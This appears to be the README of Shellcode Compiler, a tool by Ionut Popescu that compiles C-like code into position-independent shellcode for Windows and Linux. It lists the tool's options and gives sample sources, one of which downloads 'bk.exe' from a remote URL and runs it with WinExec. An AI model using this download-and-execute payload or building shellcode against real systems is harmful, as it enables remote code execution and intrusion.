Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows (x86 and x64) and Linux (x86 and x64). It is possible to call any Windows API function or Linux syscall in a user-friendly way.
Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with Keystone engine.
-h (--help) : Show this help message
-p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : Print detailed output
-t (--test) : Test (execute) generated shellcode
-r (--read) : Read source code file
-o (--output) : Output file of the generated binary shellcode
-a (--assembbly) : Output file of the generated assembly code
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
Multiple other limitations exists as well. This is an Alpha version. Please report any bugs or suggestions.
Ionut Popescu (@NytroRST)